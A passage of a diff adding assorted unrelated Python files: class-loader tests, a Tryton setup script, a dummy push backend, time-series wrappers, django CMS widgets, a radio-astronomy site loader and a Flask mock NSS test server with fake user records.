+                        prefix + '.fake_loadable2.FakeLoadableSubClass5']
+        classes = self.fake_loader.get_matching_classes(test_classes)
+        expected_class_names = ['FakeLoadableSubClass1',
+                                'FakeLoadableSubClass5']
+        self._compare_classes(classes, expected_class_names)
+
+    def test_get_matching_classes_with_underscore(self):
+        prefix = self.test_package
+        test_classes = [prefix + '.fake_loadable1.FakeLoadableSubClass1',
+                        prefix + '.fake_loadable2._FakeLoadableSubClass7']
+        self.assertRaises(exception.ClassNotFound,
+                          self.fake_loader.get_matching_classes,
+                          test_classes)
+
+    def test_get_matching_classes_with_wrong_type1(self):
+        prefix = self.test_package
+        test_classes = [prefix + '.fake_loadable1.FakeLoadableSubClass4',
+                        prefix + '.fake_loadable2.FakeLoadableSubClass5']
+        self.assertRaises(exception.ClassNotFound,
+                          self.fake_loader.get_matching_classes,
+                          test_classes)
+
+    def test_get_matching_classes_with_wrong_type2(self):
+        prefix = self.test_package
+        test_classes = [prefix + '.fake_loadable1.FakeLoadableSubClass1',
+                        prefix + '.fake_loadable2.FakeLoadableSubClass8']
+        self.assertRaises(exception.ClassNotFound,
+                          self.fake_loader.get_matching_classes,
+                          test_classes)
+
+    def test_get_matching_classes_with_one_function(self):
+        prefix = self.test_package
+        test_classes = [prefix + '.fake_loadable1.return_valid_classes',
+                        prefix + '.fake_loadable2.FakeLoadableSubClass5']
+        classes = self.fake_loader.get_matching_classes(test_classes)
+        expected_class_names = ['FakeLoadableSubClass1',
+                                'FakeLoadableSubClass2',
+                                'FakeLoadableSubClass5']
+        self._compare_classes(classes, expected_class_names)
+
+    def test_get_matching_classes_with_two_functions(self):
+        prefix = self.test_package
+        test_classes = [prefix + '.fake_loadable1.return_valid_classes',
+                        prefix + '.fake_loadable2.return_valid_class']
+        classes = self.fake_loader.get_matching_classes(test_classes)
+        expected_class_names = ['FakeLoadableSubClass1',
+                                'FakeLoadableSubClass2',
+                                'FakeLoadableSubClass6']
+        self._compare_classes(classes, expected_class_names)
+
+    def test_get_matching_classes_with_function_including_invalids(self):
+        # When using a method, no checking is done on valid classes.
+        prefix = self.test_package
+        test_classes = [prefix + '.fake_loadable1.return_invalid_classes',
+                        prefix + '.fake_loadable2.return_valid_class']
+        classes = self.fake_loader.get_matching_classes(test_classes)
+        expected_class_names = ['FakeLoadableSubClass1',
+                                '_FakeLoadableSubClass3',
+                                'FakeLoadableSubClass4',
+                                'FakeLoadableSubClass6']
+        self._compare_classes(classes, expected_class_names)
diff --git a/pool/shard000/Python/0007601_setup.py b/pool/shard000/Python/0007601_setup.py
new file mode 100644
index 0000000000000000000000000000000000000000..9e9aa0ac64460aba25b78fc74897b41f0b67fd47
--- /dev/null
+++ b/pool/shard000/Python/0007601_setup.py
@@ -0,0 +1,89 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+#    Copyright (C) 2011 Cédric Krier
+
+#    This program is free software: you can redistribute it and/or modify
+#    it under the terms of the GNU General Public License as published by
+#    the Free Software Foundation, either version 3 of the License, or
+#    (at your option) any later version.
+
+#    This program is distributed in the hope that it will be useful,
+#    but WITHOUT ANY WARRANTY; without even the implied warranty of
+#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#    GNU General Public License for more details.
+
+#    You should have received a copy of the GNU General Public License
+#    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+from setuptools import setup
+import re
+import os
+import ConfigParser
+
+def read(fname):
+    return open(os.path.join(os.path.dirname(__file__), fname)).read()
+
+config = ConfigParser.ConfigParser()
+config.readfp(open('tryton.cfg'))
+info = dict(config.items('tryton'))
+
+for key in ('depends', 'extras_depend', 'xml'):
+    if key in info:
+        info[key] = info[key].strip().splitlines()
+major_version, minor_version = 3, 8
+
+requires = []
+
+for dep in info.get('depends', []):
+    if dep.startswith('health'):
+        requires.append('trytond_%s == %s' %
+            (dep, info.get('version')))
+    elif not re.match(r'(ir|res|webdav)(\W|$)', dep):
+        requires.append('trytond_%s >= %s.%s, < %s.%s' %
+            (dep, major_version, minor_version, major_version,
+                minor_version + 1))
+requires.append('trytond >= %s.%s, < %s.%s' %
+    (major_version, minor_version, major_version, minor_version + 1))
+
+setup(name='trytond_health_crypto',
+    version=info.get('version', '0.0.1'),
+    description=info.get('description', 'GNU Health Cryptography Module'),
+    author=info.get('author', 'GNU Solidario'),
+    author_email=info.get('email', 'health@gnusolidario.org'),
+    url=info.get('website', 'http://health.gnu.org/'),
+    download_url='http://ftp.gnu.org/gnu/health/',
+    package_dir={'trytond.modules.health_crypto': '.'},
+    packages=[
+        'trytond.modules.health_crypto',
+        ],
+    package_data={
+        'trytond.modules.health_crypto': info.get('xml', []) \
+            + info.get('translation', []) \
+            + ['tryton.cfg', 'view/*.xml', 'doc/*.rst', 'locale/*.po',
+               'report/*.odt', 'icons/*.svg'],
+        },
+
+    classifiers=[
+        'Development Status :: 5 - Production/Stable',
+        'Environment :: Plugins',
+        'Framework :: Tryton',
+        'Intended Audience :: Developers',
+        'Intended Audience :: Healthcare Industry',
+        'License :: OSI Approved :: GNU General Public License (GPL)',
+        'Natural Language :: English',
+        'Natural Language :: Spanish',
+        'Operating System :: OS Independent',
+        'Programming Language :: Python :: 2.7',
+        'Topic :: Scientific/Engineering :: Bio-Informatics',
+        'Topic :: Scientific/Engineering :: Medical Science Apps.',
+        ],
+    license='GPL-3',
+    install_requires=requires,
+    zip_safe=False,
+    entry_points="""
+    [trytond.modules]
+    health_crypto = trytond.modules.health_crypto
+    """,
+    test_suite='tests',
+    test_loader='trytond.test_loader:Loader',
+    )
diff --git a/pool/shard000/Python/0007604_dummy.py b/pool/shard000/Python/0007604_dummy.py
new file mode 100644
index 0000000000000000000000000000000000000000..f4eb0badf5f04980dd909f85e39cda254a7f81ea
--- /dev/null
+++ b/pool/shard000/Python/0007604_dummy.py
@@ -0,0 +1,147 @@
+# Copyright 2014 Sardar Yumatov
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#   http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import time
+from struct import pack
+
+try:
+    import threading as _threading
+except ImportError:
+    import dummy_threading as _threading
+
+from . import BaseBackend, BaseConnection
+from ..certificate import BaseCertificate
+
+# python 3 support
+import six
+
+# module level logger
+LOG = logging.getLogger(__name__)
+
+
+class Certificate(BaseCertificate):
+    """ Dummy certificate """
+
+    def load_context(self, cert_string=None, cert_file=None, key_string=None, key_file=None, passphrase=None):
+        """ Returns None as we don't handle any context. """
+        return None, None
+
+    def dump_certificate(self, raw_certificate):
+        """ Returns dummy contents. All dummy certificates are equal. """
+        return "CERTIFICATE"
+
+    def dump_digest(self, raw_certificate, digest):
+        """ Returns dummy digsst. All dummy certificates are equal. """
+        return self.dump_certificate(raw_certificate)
+
+
+class Backend(BaseBackend):
+    """ Dummy backend designed for testing without performing real IO. Serves
+        as an exmple for your custom backends.
+    """
+    # simulate stdio behavior
+    can_detect_close = False
+
+    def __init__(self, push=None, feedback=None, **options):
+        """ Create new backend.
+        
+            :Arguments:
+                - push (list): list of status codes to return while sending messages.
+                - feedback (int): number of tokens to generate in the feedback stream.
+        """
+        super(Backend, self).__init__(**options)
+        self.push_results = push
+        self.push_result_pos = -1
+        self.feedback_results = feedback
+        self.new_connections = 0
+        assert (push is not None) ^ (feedback is not None), "Push results or feedback stream must be provided"
+
+    def get_new_connection(self, address, certificate, timeout=None):
+        """ Open a new connection.
+        
+            :Arguments:
+                - address (tuple): target (host, port).
+                - certificate (:class:`Certificate`): certificate instance.
+                - timeout (float): connection timeout in seconds
+        """
+        self.new_connections += 1
+        self.push_result_pos += 1
+        return Connection(self, address, certificate)
+
+    def get_certificate(self, cert_params):
+        """ Create/load certificate from parameters. """
+        return Certificate(**cert_params)
+
+    def create_lock(self):
+        """ Provides semaphore with ``threading.Lock`` interface. """
+        return _threading.Lock()
+
+
+class Connection(BaseConnection):
+    """ Dummy connection. """
+
+    def __init__(self, pool, address, certificate):
+        """ Create new dummy connection.
+        
+            :Arguments:
+                - pool (:class:`Backend`): dummy backend.
+                - address (tuple): target host and port.
+                - certificate (:class:`Certificate`): provider certificate.
+        """
+        super(Connection, self).__init__(address, certificate)
+        self.pool = pool
+        self._closed = False
+
+    def closed(self):
+        """ Returns True if :func:`close` has been explicitly called. """
+        return self._closed
+
+    def close(self):
+        """ Marks this connection as closed. """
+        self._closed = True
+
+    def reset(self):
+        """ Reset dummy connection to use next result record. """
+        pass
+
+    def write(self, data, timeout):
+        """ Does nothing, always succeeds. """
+        if self.closed():
+            raise IOError("Connection closed")
+    
+    def peek(self, size):
+        """ Always returns None as we never fail prematurely. """
+        return None
+
+    def read(self, size, timeout):
+        """ Iterates over preconfigured send/feedback responses. """
+        if self.closed():
+            return None
+
+        if self.pool.push_results is not None:
+            # we are push connection
+            ret = self.pool.push_results[self.pool.push_result_pos % len(self.pool.push_results)]
+            if ret is not None:
+                ret = pack(">BBI", 8, ret, 0)
+
+            return ret
+        else: # feedback mode
+            ret = []
+            for x in range(0, self.pool.feedback_results):
+                token = six.b("test_{}".format(x))
+                ret.append(pack(">IH{}s".format(len(token)), int(time.time()), len(token), token))
+
+            self.close()
+            return six.binary_type().join(ret)
diff --git a/pool/shard000/Python/0007608_wrappers.py b/pool/shard000/Python/0007608_wrappers.py
new file mode 100644
index 0000000000000000000000000000000000000000..b999ba5ac1b3d94d6452628925b096bac17f71ac
--- /dev/null
+++ b/pool/shard000/Python/0007608_wrappers.py
@@ -0,0 +1,168 @@
+from bisect import bisect_left, bisect_right
+
+from numpy import ndarray
+
+from ..conf import settings
+from ..exc import DateNotFound, OutOfBound, RightOutOfBound
+from .section import asarray
+
+
+class TimeSerieWrap:
+
+    def __init__(self, ts, **kwargs):
+        self.ts = ts
+        self.modified = False
+        self.names = ts.names()
+        self.wrap(**kwargs)
+
+    def wrap(self, **kwargs):
+        pass
+
+    def get(self, dt, default = None):
+        '''Equivalent to::
+
+    self[dt]
+
+but catches exceptions and return *default*.'''
+        try:
+            return self[dt]
+        except DateNotFound:
+            return default
+
+    def getts(self):
+        return self.ts
+
+    @property
+    def shape(self):
+        return len(self), self.ts.count()
+
+
+class asbtree(TimeSerieWrap):
+    '''Wrap a :class:`dynts.TimeSeries` and
+expose binary-tree like functionalities. A :class:`dynts.TimeSeries` instance
+has a shortcut method which construct a ``asbtree``. Here is an example::
+
+    >>> from dynts.utils.populate import randomts, date
+    >>> ts = randomts(cols = 2, start = date(2010, 1, 1), size = 50)
+    >>> dts = ts.asbtree()
+    >>> sts.find_ge(ts.start())
+    1
+    >>> sts.find_ge(ts.end())
+    49
+'''
+    def wrap(self):
+        ts = self.ts
+        self.dates  = asarray(ts.dates())
+        self.values = ts.values()
+
+    def __len__(self):
+        return len(self.dates)
+
+    def __getitem__(self, dt):
+        '''Get the value at *dt* otherwise it raises
+an :class:`dynts.exceptions.DateNotFound`.'''
+        try:
+            index = self.find_ge(dt)
+        except OutOfBound:
+            raise DateNotFound
+        if self.dates[index] == dt:
+            return self.values[index]
+        else:
+            raise DateNotFound
+
+    def at(self, dt):
+        val = self[dt]
+        return dict(zip(self.names, val))
+
+    def find_ge(self, dt):
+        '''Building block of all searches. Find the index
+corresponding to the leftmost value greater or equal to *dt*.
+If *dt* is greater than the
+:func:`dynts.TimeSeries.end` a :class:`dynts.exceptions.RightOutOfBound`
+exception will raise.
+
+*dt* must be a python datetime.date instance.'''
+        i = bisect_left(self.dates, dt)
+        if i != len(self.dates):
+            return i
+        raise RightOutOfBound
+
+    def find_le(self, dt):
+        '''Find the index corresponding to the rightmost
+value less than or equal to *dt*.
+If *dt* is less than :func:`dynts.TimeSeries.end`
+a :class:`dynts.exceptions.LeftOutOfBound`
+exception will raise.
+
+*dt* must be a python datetime.date instance.'''
+        i = bisect_right(self.dates, dt)
+        if i:
+            return i-1
+        raise LeftOutOfBound
+
+    def __repr__(self):
+        return '%s(%s)' % (self.__class__.__name__, self.ts.__repr__())
+
+    def __str__(self):
+        return '%s(%s)' % (self.__class__.__name__, self.ts)
+
+
+class ashash(TimeSerieWrap, dict):
+
+    def wrap(self):
+        ts = self.ts
+        hash = {}
+        self.hash = hash
+        dict.__init__(self, ts.items())
+
+    def __getitem__(self, dt):
+        '''Get the value at *dt* otherwise it raises
+an :class:`dynts.exceptions.DateNotFound`.'''
+        try:
+            return dict.__getitem__(self, dt)
+        except KeyError:
+            raise DateNotFound
+
+    def __setitem__(self, dt, item):
+        # if the timeseries contains objects, the items must be a numpy array
+        # otherwise we put it into a 1 element array.
+        if self.ts.is_object and not isinstance(item, ndarray):
+            t, item = item, ndarray((1, ), dtype = self.ts.dtype)
+            item[0] = t
+        dict.__setitem__(self, dt, item)
+        self.modified = True
+
+    def __iter__(self):
+        dates = sorted(dict.__iter__(self))
+        if settings.desc:
+            dates = reversed(dates)
+        return iter(dates)
+
+    def items(self):
+        for dt in self:
+            yield dt, self[dt]
+
+    def getts(self):
+        if self.modified:
+            name = settings.splittingnames.join(self.names)
+            dates = list(self)
+            values = (self[dt] for dt in dates)
+            return self.ts.clone(name = name, date = dates, data = values)
+        else:
+            return self.ts
+
+
+class pair(object):
+    __slots__ = ('time', 'value')
+
+    def __init__(self, time, value):
+        self.time, self.value = time, value
+
+    def __eq__(self, other):
+        return self.time == other.time
+
+    def __gt__(self, other):
+        return self.time > other.time
+
+    def __lt__(self, other):
+        return self.time < other.time
diff --git a/pool/shard000/Python/0007611_widgets.py b/pool/shard000/Python/0007611_widgets.py
new file mode 100644
index 0000000000000000000000000000000000000000..c1e8d7c503af519b0c12db48b0008db0bf891f2b
--- /dev/null
+++ b/pool/shard000/Python/0007611_widgets.py
@@ -0,0 +1,219 @@
+# -*- coding: utf-8 -*-
+from cms.forms.utils import get_site_choices, get_page_choices
+from cms.models import Page, PageUser, Placeholder
+from cms.plugin_pool import plugin_pool
+from cms.utils import get_language_from_request
+from django.conf import settings
+from django.contrib.sites.models import Site
+from django.forms.widgets import Select, MultiWidget, Widget
+from django.template.context import RequestContext
+from django.template.loader import render_to_string
+from django.utils.encoding import force_unicode
+from django.utils.safestring import mark_safe
+from django.utils.translation import ugettext as _
+from os.path import join
+import copy
+
+class PageSelectWidget(MultiWidget):
+    """A widget that allows selecting a page by first selecting a site and then
+    a page on that site in a two step process.
+    """
+    def __init__(self, site_choices=None, page_choices=None, attrs=None):
+        if attrs is not None:
+            self.attrs = attrs.copy()
+        else:
+            self.attrs = {}
+        if site_choices is None or page_choices is None:
+            site_choices, page_choices = get_site_choices(), get_page_choices()
+        self.site_choices = site_choices
+        self.choices = page_choices
+        widgets = (Select(choices=site_choices ),
+                   Select(choices=[('', '----')]),
+                   Select(choices=self.choices, attrs={'style': "display:none;"} ),
+        )
+        super(PageSelectWidget, self).__init__(widgets, attrs)
+    
+    def decompress(self, value):
+        """
+        receives a page_id in value and returns the site_id and page_id
+        of that page or the current site_id and None if no page_id is given.
+        """
+        if value:
+            page = Page.objects.get(pk=value)
+            site = page.site
+            return [site.pk, page.pk, page.pk]
+        site = Site.objects.get_current()
+        return [site.pk,None,None]
+    
+    def _has_changed(self, initial, data):
+        # THIS IS A COPY OF django.forms.widgets.Widget._has_changed()
+        # (except for the first if statement)
+        
+        """
+        Return True if data differs from initial.
+        """
+        # For purposes of seeing whether something has changed, None is
+        # the same as an empty string, if the data or inital value we get
+        # is None, replace it w/ u''.
+        if data is None or (len(data)>=2 and data[1] in [None,'']):
+            data_value = u''
+        else:
+            data_value = data
+        if initial is None:
+            initial_value = u''
+        else:
+            initial_value = initial
+        if force_unicode(initial_value) != force_unicode(data_value):
+            return True
+        return False
+    
+    def render(self, name, value, attrs=None):
+        # THIS IS A COPY OF django.forms.widgets.MultiWidget.render()
+        # (except for the last line)
+        
+        # value is a list of values, each corresponding to a widget
+        # in self.widgets.
+        if not isinstance(value, list):
+            value = self.decompress(value)
+        output = []
+        final_attrs = self.build_attrs(attrs)
+        id_ = final_attrs.get('id', None)
+        for i, widget in enumerate(self.widgets):
+            try:
+                widget_value = value[i]
+            except IndexError:
+                widget_value = None
+            if id_:
+                final_attrs = dict(final_attrs, id='%s_%s' % (id_, i))
+            output.append(widget.render(name + '_%s' % i, widget_value, final_attrs))
+        output.append(r'''<script type="text/javascript">
+(function($) {
+    var handleSiteChange = function(site_name, selected_id) {
+        $("#id_%(name)s_1 optgroup").remove();
+        var myOptions = $("#id_%(name)s_2 optgroup[label=" + site_name + "]").clone();
+        $("#id_%(name)s_1").append(myOptions);
+        $("#id_%(name)s_1").change();
+    };
+    var handlePageChange = function(page_id) {
+        if (page_id) {
+            $("#id_%(name)s_2 option").removeAttr('selected');
+            $("#id_%(name)s_2 option[value=" + page_id + "]").attr('selected','selected');
+        } else {
+            $("#id_%(name)s_2 option[value=]").attr('selected','selected');
+        };
+    };
+    $("#id_%(name)s_0").change(function(){
+        var site_label = $("#id_%(name)s_0").children(":selected").text();
+        handleSiteChange( site_label );
+    });
+    $("#id_%(name)s_1").change(function(){
+        var page_id = $(this).find('option:selected').val();
+        handlePageChange( page_id );
+    });
+    $(function(){
+        handleSiteChange( $("#id_%(name)s_0").children(":selected").text() );
+        $("#add_id_%(name)s").hide();
+    });
+})(django.jQuery);
+</script>''' % {'name': name})
+        return mark_safe(self.format_output(output))
+    
+    def format_output(self, rendered_widgets):
+        return u' '.join(rendered_widgets)
+    
+    
+class PluginEditor(Widget):
+    def __init__(self, attrs=None):
+        if attrs is not None:
+            self.attrs = attrs.copy()
+        else:
+            self.attrs = {}
+        
+    class Media:
+        js = [join(settings.CMS_MEDIA_URL, path) for path in (
+            'js/lib/jquery-ui.custom.min.js',
+            'js/plugin_editor.js',
+        )]
+        css = {
+            'all': [join(settings.CMS_MEDIA_URL, path) for path in (
+                'css/plugin_editor.css',
+            )]
+        }
+
+    def render(self, name, value, attrs=None):
+        
+        context = {
+            'plugin_list': self.attrs['list'],
+            'installed_plugins': self.attrs['installed'],
+            'copy_languages': self.attrs['copy_languages'],
+            'language': self.attrs['language'],
+            'show_copy': self.attrs['show_copy'],
+            'placeholder': self.attrs['placeholder'],
+        }
+        return mark_safe(render_to_string(
+            'admin/cms/page/widgets/plugin_editor.html', context))
+
+
+class UserSelectAdminWidget(Select):
+    """Special widget used in page permission inlines, because we have to render
+    an add user (plus) icon, but point it somewhere else - to special user creation
+    view, which is accessible only if user haves "add user" permissions.
+    
+    Current user should be assigned to widget in form constructor as an user 
+    attribute.
+    """
+    def render(self, name, value, attrs=None, choices=()):
+        output = [super(UserSelectAdminWidget, self).render(name, value, attrs, choices)]    
+        if hasattr(self, 'user') and (self.user.is_superuser or \
+            self.user.has_perm(PageUser._meta.app_label + '.' + PageUser._meta.get_add_permission())):
+            # append + icon
+            add_url = '../../../cms/pageuser/add/'
+            output.append(u'<a href="%s" class="add-another" id="add_id_%s" onclick="return showAddAnotherPopup(this);"> ' % \
+                    (add_url, name))
+            output.append(u'<img src="%simg/admin/icon_addlink.gif" width="10" height="10" alt="%s"/></a>' % (settings.ADMIN_MEDIA_PREFIX, _('Add Another')))
+        return mark_safe(u''.join(output))
+    
+    
+class PlaceholderPluginEditorWidget(PluginEditor):
+    attrs = {}
+    def __init__(self, request, filter_func):
+        self.request = request
+        self.filter_func = filter_func
+            
+    def __deepcopy__(self, memo):
+        obj = copy.copy(self)
+        obj.request = copy.copy(self.request)
+        obj.filter_func = self.filter_func
+        memo[id(self)] = obj
+        return obj
+        
+    def render(self, name, value, attrs=None):
+        try:
+            ph = Placeholder.objects.get(pk=value)
+        except Placeholder.DoesNotExist:
+            ph = None
+            context = {'add':True}
+        if ph:
+            plugin_list = ph.cmsplugin_set.filter(parent=None).order_by('position')
+            plugin_list = self.filter_func(self.request, plugin_list)
+            language = get_language_from_request(self.request)
+            copy_languages = []
+            if ph.actions.can_copy:
+                copy_languages = ph.actions.get_copy_languages(
+                    placeholder=ph,
+                    model=ph._get_attached_model(),
+                    fieldname=ph._get_attached_field_name()
+                )
+            context = {
+                'plugin_list': plugin_list,
+                'installed_plugins': plugin_pool.get_all_plugins(ph.slot),
+                'copy_languages': copy_languages, 
+                'language': language,
+                'show_copy': bool(copy_languages) and ph.actions.can_copy,
+                'urloverride': True,
+                'placeholder': ph,
+            }
+        #return mark_safe(render_to_string(
+        #    'admin/cms/page/widgets/plugin_editor.html', context))
+        return mark_safe(render_to_string(
+            'admin/cms/page/widgets/placeholder_editor.html', context, RequestContext(self.request)))
diff --git a/pool/shard000/Python/0007612_protected_entities_radio_astronomy_sites.py b/pool/shard000/Python/0007612_protected_entities_radio_astronomy_sites.py
new file mode 100644
index 0000000000000000000000000000000000000000..9fe6710f699464e8d949e4452b9d703748f4f22b
--- /dev/null
+++ b/pool/shard000/Python/0007612_protected_entities_radio_astronomy_sites.py
@@ -0,0 +1,107 @@
+from protected_entities import ProtectedEntities
+from protected_entity_radio_astronomy_site import \
+    ProtectedEntityRadioAstronomySite
+import os
+import csv
+import configuration
+
+
+class ProtectedEntitiesRadioAstronomySites(ProtectedEntities):
+    """
+    Intermediate class
+    """
+
+
+class ProtectedEntitiesRadioAstronomySitesUnitedStates(
+    ProtectedEntitiesRadioAstronomySites):
+    """
+    Radioastronomy sites for the United States. Defined in section 15.712(h)
+    of the FCC regulations.
+    """
+
+    def source_filename(self):
+        base_directory = configuration.paths['UnitedStates'][
+            'protected_entities']
+        return os.path.join(base_directory,
+                            "Radioastronomy sites (FCC regulations 2012) - "
+                            "Sheet1.csv")
+
+    def source_name(self):
+        return "FCC 2012 regulations: section 15.712(h)"
+
+    def get_max_protected_radius_km(self):
+        """
+        See
+        :meth:`protected_entities.ProtectedEntities.get_max_protected_radius_km`
+        for more details.
+
+        :return: 10.0
+        :rtype: float
+        """
+        return 10.0
+
+    def _load_entities(self):
+        """Load the protected entities."""
+
+        self.log.debug("Loading radio astronomy sites from \"%s\" (%s)" % (
+        str(self.source_filename()), str(self.source_name())))
+
+        def str2bool(v):
+            return v.lower() in ("yes", "true", "t", "1")
+
+        ras_channel = 37
+
+        with open(self.source_filename(), 'r') as f:
+            ras_csv = csv.DictReader(f)
+            for ras_entry in ras_csv:
+                # print ras_entry
+
+                try:
+                    lat_deg = float(ras_entry['Latitude (degree)'])
+                    lat_min = float(ras_entry['Latitude (minute)'])
+                    lat_sec = float(ras_entry['Latitude (second)'])
+                    lat_dir = ras_entry['Latitude (direction)']
+                    if lat_dir.lower() in ["n", "north"]:
+                        lat_mult = 1.0
+                    else:
+                        lat_mult = -1.0
+                    latitude = lat_mult * (
+                    lat_deg + lat_min / 60 + lat_sec / 3600)
+
+                    lon_deg = float(ras_entry['Longitude (degree)'])
+                    lon_min = float(ras_entry['Longitude (minute)'])
+                    lon_sec = float(ras_entry['Longitude (second)'])
+                    lon_dir = ras_entry['Longitude (direction)']
+                    if lon_dir.lower() in ["e", "east"]:
+                        lon_mult = 1.0
+                    else:
+                        lon_mult = -1.0
+                    longitude = lon_mult * (
+                    lon_deg + lon_min / 60 + lon_sec / 3600)
+
+                    name = ras_entry['Name']
+
+                    is_point = str2bool(ras_entry['Is point'])
+
+                    if is_point:
+                        latitude_deviation = None
+                        longitude_deviation = None
+                    else:
+                        latitude_deviation = float(
+                            ras_entry['Latitude deviation (decimal degrees)'])
+                        longitude_deviation = float(
+                            ras_entry['Longitude deviation (decimal degrees)'])
+
+                    new_ras_entry = ProtectedEntityRadioAstronomySite(
+                        container=self, region=self.get_mutable_region(),
+                        latitude=latitude, longitude=longitude,
+                        channel=ras_channel, name=name, is_point=is_point,
+                        latitude_deviation=latitude_deviation,
+                        longitude_deviation=longitude_deviation)
+
+                    self._add_entity(new_ras_entry)
+
+                except Exception as e:
+                    self.log.error(
+                        "Error reading in radio astronomy sites: " + str(
+                            e) + " (last site read: " + str(name) + ")")
diff --git a/pool/shard000/Python/0007614_pyunit_expr_show.py b/pool/shard000/Python/0007614_pyunit_expr_show.py
new file mode 100644
index 0000000000000000000000000000000000000000..fe6a0f8d118f349e7cf2075c366cb6a1a7b14f45
--- /dev/null
+++ b/pool/shard000/Python/0007614_pyunit_expr_show.py
@@ -0,0 +1,28 @@
+import sys
+sys.path.insert(1, "../../")
+import h2o, tests
+
+
+def expr_show():
+    
+    
+
+    iris = h2o.import_file(path=tests.locate("smalldata/iris/iris_wheader.csv"))
+    print "iris:"
+    iris.show()
+
+    ###################################################################
+
+    # expr[int], expr._data is pending
+    res = 2 - iris
+    res2 = res[0]
+    print "res2:"
+    res2.show()
+
+    # expr[int], expr._data is remote
+    res3 = res[0]
+    print "res3:"
+    res3.show()
+
+if __name__ == "__main__":
+    tests.run_test(sys.argv, expr_show)
diff --git a/pool/shard000/Python/0007615_nss_http_server.py b/pool/shard000/Python/0007615_nss_http_server.py
new file mode 100644
index 0000000000000000000000000000000000000000..495a4b494bc98bdbbea89c503e7f2b807014ea68
--- /dev/null
+++ b/pool/shard000/Python/0007615_nss_http_server.py
@@ -0,0 +1,106 @@
+#!/usr/bin/env python
+
+import json
+from flask import Flask, request, abort, Response
+
+app = Flask(__name__)
+
+
+@app.route('/passwd')
+def passwd():
+    data = [
+        {
+            "pw_name": "testuser1", "pw_passwd": "x", "pw_uid": 6000, "pw_gid": 6000,
+            "pw_gecos": "Testing", "pw_dir": "/home/testuser1", "pw_shell": "/bin/bash",
+        },
+        {
+            "pw_name": "testuser2", "pw_passwd": "x", "pw_uid": 6001, "pw_gid": 6000,
+            "pw_gecos": None, "pw_dir": "/home/testuser2", "pw_shell": "/bin/bash",
+        },
+        {
+            "pw_name": "testuser3", "pw_passwd": "x", "pw_uid": 6002, "pw_gid": 6001,
+            "pw_gecos": None, "pw_dir": "/home/testuser3", "pw_shell": "/bin/bash",
+        },
+        {
+            "pw_name": "testuser4", "pw_passwd": "x", "pw_uid": 6003, "pw_gid": 6001,
+            "pw_gecos": None, "pw_dir": "/home/testuser4", "pw_shell": "/bin/bash",
+        },
+    ]
+
+    name = request.args.get("name")
+    if name:
+        for struct in data:
+            if name == struct["pw_name"]:
+                return Response(json.dumps(struct),  mimetype='application/json')
+        abort(404)
+
+    uid = request.args.get("uid")
+    if uid:
+        uid = int(uid)
+        for struct in data:
+            if uid == struct["pw_uid"]:
+                return Response(json.dumps(struct),  mimetype='application/json')
+        abort(404)
+
+    return Response(json.dumps(data),  mimetype='application/json')
+
+
+@app.route('/group')
+def group():
+    data = [
+        { "gr_name": "testgroup1", "gr_passwd": "x", "gr_gid": 6000, "gr_mem": ["testuser1", "testuser2"], },
+        { "gr_name": "testgroup2", "gr_passwd": "x", "gr_gid": 6001, "gr_mem": ["testuser3", "testuser4"], },
+    ]
+
+    name = request.args.get("name")
+    if name:
+        for struct in data:
+            if name == struct["gr_name"]:
+                return Response(json.dumps(struct),  mimetype='application/json')
+        abort(404)
+
+    gid = request.args.get("gid")
+    if gid:
+        gid = int(gid)
+        for struct in data:
+            if gid == struct["gr_gid"]:
+                return Response(json.dumps(struct),  mimetype='application/json')
+        abort(404)
+
+    return Response(json.dumps(data),  mimetype='application/json')
+
+
+@app.route('/shadow')
+def shadow():
+    data = [
+        {
+            "sp_namp": "testuser1", "sp_pwdp": "$1$BXZIu72k$S7oxt9hBiBl/O3Rm3H4Q30", "sp_lstchg": 16034,
+            "sp_min": 0, "sp_max": 99999, "sp_warn": 7, "sp_inact": None, "sp_expire": None, "sp_flag": None,
+        },
+        {
+            "sp_namp": "testuser2", "sp_pwdp": "$1$BXZIu72k$S7oxt9hBiBl/O3Rm3H4Q30", "sp_lstchg": 16034,
+            "sp_min": 0, "sp_max": 99999, "sp_warn": 7, "sp_inact": None, "sp_expire": None, "sp_flag": None,
+        },
+        {
+            "sp_namp": "testuser3", "sp_pwdp": "$1$BXZIu72k$S7oxt9hBiBl/O3Rm3H4Q30", "sp_lstchg": 16034,
+            "sp_min": 0, "sp_max": 99999, "sp_warn": 7, "sp_inact": None, "sp_expire": None, "sp_flag": None,
+        },
+        {
+            "sp_namp": "testuser4", "sp_pwdp": "$1$BXZIu72k$S7oxt9hBiBl/O3Rm3H4Q30", "sp_lstchg": 16034,
+            "sp_min": 0, "sp_max": 99999, "sp_warn": 7, "sp_inact": 10, "sp_expire": 50, "sp_flag": None,
+        },
+    ]
+
+    name = request.args.get("name")
+    if name:
+        for struct in data:
+            if name == struct["sp_namp"]:
+                return Response(json.dumps(struct),  mimetype='application/json')
+        abort(404)
+
+    return Response(json.dumps(data),  mimetype='application/json')
+
+
+if __name__ == "__main__":
+    app.debug = True
+    app.run(host="localhost", port=9669)
diff --git a/pool/shard000/Python/0007617_sms_settings.py b/pool/shard000/Python/0007617_sms_settings.py
new file mode 100644
index 0000000000000000000000000000000000000000..ddfc0456bd6d40293e109a4fb486a154119fcf41
--- /dev/null
+++ b/pool/shard000/Python/0007617_sms_settings.py
@@ -0,0 +1,108 @@
+# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
+# License: GNU General Public License v3. See license.txt
+
+from __future__ import unicode_literals
+import frappe
+
+from frappe import _, throw, msgprint
+from frappe.utils import nowdate
+
+from frappe.model.document import Document
+
+class SMSSettings(Document):
+	pass
+
+def validate_receiver_nos(receiver_list):
+	validated_receiver_list = []
+	for d in receiver_list:
+		# remove invalid character
+		for x in [' ', '+', '-', '(', ')']:
+			d = d.replace(x, '')
+
+		validated_receiver_list.append(d)
+
+	if not validated_receiver_list:
+		throw(_("Please enter valid mobile nos"))
+
+	return validated_receiver_list
+
+
+def get_sender_name():
+	"returns name as SMS sender"
